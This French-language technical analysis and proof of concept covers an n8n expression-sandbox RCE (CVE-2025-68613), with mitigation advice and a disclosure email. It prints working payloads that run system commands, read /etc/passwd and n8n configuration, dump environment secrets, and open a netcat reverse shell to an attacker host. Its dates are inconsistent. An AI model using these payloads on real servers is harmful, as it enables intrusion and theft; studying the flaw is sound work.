
Analyse technique détaillée et preuve de concept pour CVE-2025-68613, une vulnérabilité RCE critique dans l'évaluation d'expressions de n8n via un contournement du contexte this par IIFE. Comprend l'analyse des causes racines, les vecteurs d'exploitation et des conseils d'atténuation.
Date : 23 décembre 2024 Statut : ✅ RCE entièrement validé Score CVSS : 10.0 (Critique)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
Résultat d'exécution : retourne avec succès les informations de l'utilisateur système (ex. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
thisEntrée utilisateur
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
Création de l'objet de contexte data
↓
data.process = référence à l'objet process réel
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ Clé : this = data
↓
Exécution de la fonction immédiatement invoquée
↓
this.process.mainModule.require ← ⚠️ Accès au vrai require
↓
Chargement du module child_process
↓
execSync('id') ← 🔥 RCE complet !
Fichier : packages/workflow/src/expression.ts
Fonction : Expression.resolveSimpleParameterValue()
Lignes : environ 230-290
// Génération du proxy de données
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ Point vulnérable 1 : ajout de l'objet process à data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ Problème : bien que seules certaines propriétés soient exposées ici,
// il s'agit d'une référence d'objet, l'objet process réel reste accessible
// via la chaîne de prototypes ou d'autres moyens.
Fichier : node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ Point vulnérable 2 : transmission de data en tant que this
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ Point vulnérable 3 : création de fonction avec new Function
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
thisFichier : packages/workflow/src/expression-sandboxing.ts
Avant v1.122.0 :
// ❌ Pas de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← tableau vide, pas de sanitisation de this
after: [PrototypeSanitizer, DollarSignValidator],
});
Après v1.122.0 :
// ✅ Ajout de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← nouveau hook
after: [PrototypeSanitizer, DollarSignValidator],
});
// Implémentation de FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// Réécrit toutes les expressions de fonction, lie explicitement this à un objet sécurisé
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// Transforme function() { ... } en function() { ... }.bind({ process: {} })
}
});
};
Fichier : packages/workflow/src/utils.ts
Fonction : isSafeObjectProperty()
Avant v1.122.0 :
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ Mainque mainModule, binding, _load
Après v1.122.0 :
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ ajouté
'binding', // ✅ ajouté
'_load' // ✅ ajouté
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// Lecture de fichiers sensibles
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// Liste des répertoires
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// Lecture de la configuration n8n
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// Liste du répertoire courant
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// Accès direct via this.process
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// Ou en utilisant la méthode déjà connue
{
{
JSON.stringify(process.env)
}
}
// Vérification des outils réseau
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// Obtention des interfaces réseau
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// Reverse Shell (⚠️ Dangereux ! Réservé aux tests autorisés)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | Type d'attaque | Payload | Statut | CVSS |
|---|---|---|---|---|
| 1 | Fuite de variables d'env. | {{ Object.keys(process.env) }} | ✅ Réussi | 8.5 |
| 2 | Contournement Constructor | {{ [][constructor] }} | ✅ Réussi | 8.0 |
| 3 | Constructeur Function | {{ [][constructor][constructor] }} | ✅ Réussi | 8.5 |
| 4 | Exécution de code | {{ [][constructor][constructor]('return 1+1')() }} | ✅ Réussi | 9.0 |
| 5 | RCE complet | {{ (function() { this.process.mainModule.require... })() }} | ✅ Réussi | 10.0 |
| # | Type d'attaque | Raison |
|---|---|---|
| 1 | require direct | Indisponible dans le nouveau scope |
| 2 | process dans le constructeur Function | this sanitisé dans certains contextes |
| 3 | process.binding / process._load | Probablement bloqué ou restreint |
{
{
Object.keys(process.env)
}
} // ✅ Réussi
N8N_BLOCK_ENV_ACCESS_IN_NODE n'est pas défini à true{
{
[][`constructor`][`constructor`]
}
} // ✅ Réussi
this de l'IIFE non sanitisé{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ Réussi
this dans la fonction immédiatement invoquée pointe toujours vers le contexte de données originalthis.process.mainModule.require est accessibleLes trois combinés = RCE complet !
// Nouveau hook AST before
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
// Parcourt toutes les expressions de fonction
// Réécrit les fonctions pour lier this à { process: {} }
// Ainsi, même pour les IIFE, this est un objet vide sécurisé
};
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ← ajouté
'binding', // ← ajouté
'_load' // ← ajouté
]);
// Probable modification de la valeur par défaut à true
data.process = {
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
// ...
};
Chaîne vectorielle : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Métrique | Valeur | Description |
|---|---|---|
| Vecteur d'attaque (AV) | Réseau (N) | Exploitable à distance |
| Complexité d'attaque (AC) | Faible (L) | Exploitation simple |
| Privilèges requis (PR) | Faible (L) | Nécessite un utilisateur authentifié |
| Interaction utilisateur (UI) | Aucune (N) | Aucune interaction nécessaire |
| Périmètre (S) | Modifié (C) | Impacte le système sous-jacent |
| Confidentialité (C) | Élevée (H) | Fuite complète d'informations |
| Intégrité (I) | Élevée (H) | Contrôle complet du système |
| Disponibilité (A) | Élevée (H) | Interruption totale du service |
Score de base : 10.0 (maximum)
N8N_BLOCK_ENV_ACCESS_IN_NODE=true n'est pas défini# Méthode 1 : export de la variable d'environnement
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# Méthode 2 : dans le fichier .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env
# Méthode 3 : Docker Compose
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
# npm
npm install -g n8n@latest
# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d
# Vérifier la version
n8n --version # Doit être >= 1.122.0
-- Si vous utilisez PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
OR nodes::text LIKE '%constructor%'
OR nodes::text LIKE '%mainModule%'
OR nodes::text LIKE '%require%';
# docker-compose.yml
services:
n8n:
image: docker.n8n.io/n8nio/n8n:latest
read_only: true
security_opt:
- no-new-privileges:true
- seccomp=seccomp-profile.json
cap_drop:
- ALL
cap_add:
- CHOWN
- SETGID
- SETUID
environment:
- N8N_BLOCK_ENV_ACCESS_IN_NODE=true
À : [email protected]
Objet : [CRITIQUE] Vulnérabilité RCE 0-day – Contournement du contexte this dans IIFE
Gravité : CVSS 10.0 (Critique)
Versions concernées : n8n < 1.122.0
Résumé :
Une vulnérabilité RCE critique a été découverte, permettant à un utilisateur authentifié
d'accéder à process.mainModule.require via une fonction immédiatement invoquée (IIFE),
et ainsi d'exécuter des commandes système arbitraires.
PoC validé :
{{ (function() {
var require = this.process.mainModule.require;
var { execSync } = require('child_process');
return execSync('id', { encoding: 'utf8' }).trim();
})() }}
Cause racine :
1. this dans l'IIFE n'est pas sanitisé
2. process.mainModule n'est pas bloqué
3. N8N_BLOCK_ENV_ACCESS_IN_NODE est par défaut à false
Correctif suggéré :
1. Implémenter le hook FunctionThisSanitizer
2. Ajouter mainModule, binding, _load à la liste noire
3. Activer par défaut la protection des variables d'environnement
Analyse détaillée en pièce jointe.
Date de création : 23 décembre 2024 Statut de la vulnérabilité : ✅ Validation complète réussie Score CVSS : 10.0 (Critique) Recommandation : Divulguer et corriger immédiatement
🎉 Félicitations pour la découverte d'une vulnérabilité RCE parfaite ! Veuillez la traiter et la divulguer de manière responsable ! 🔒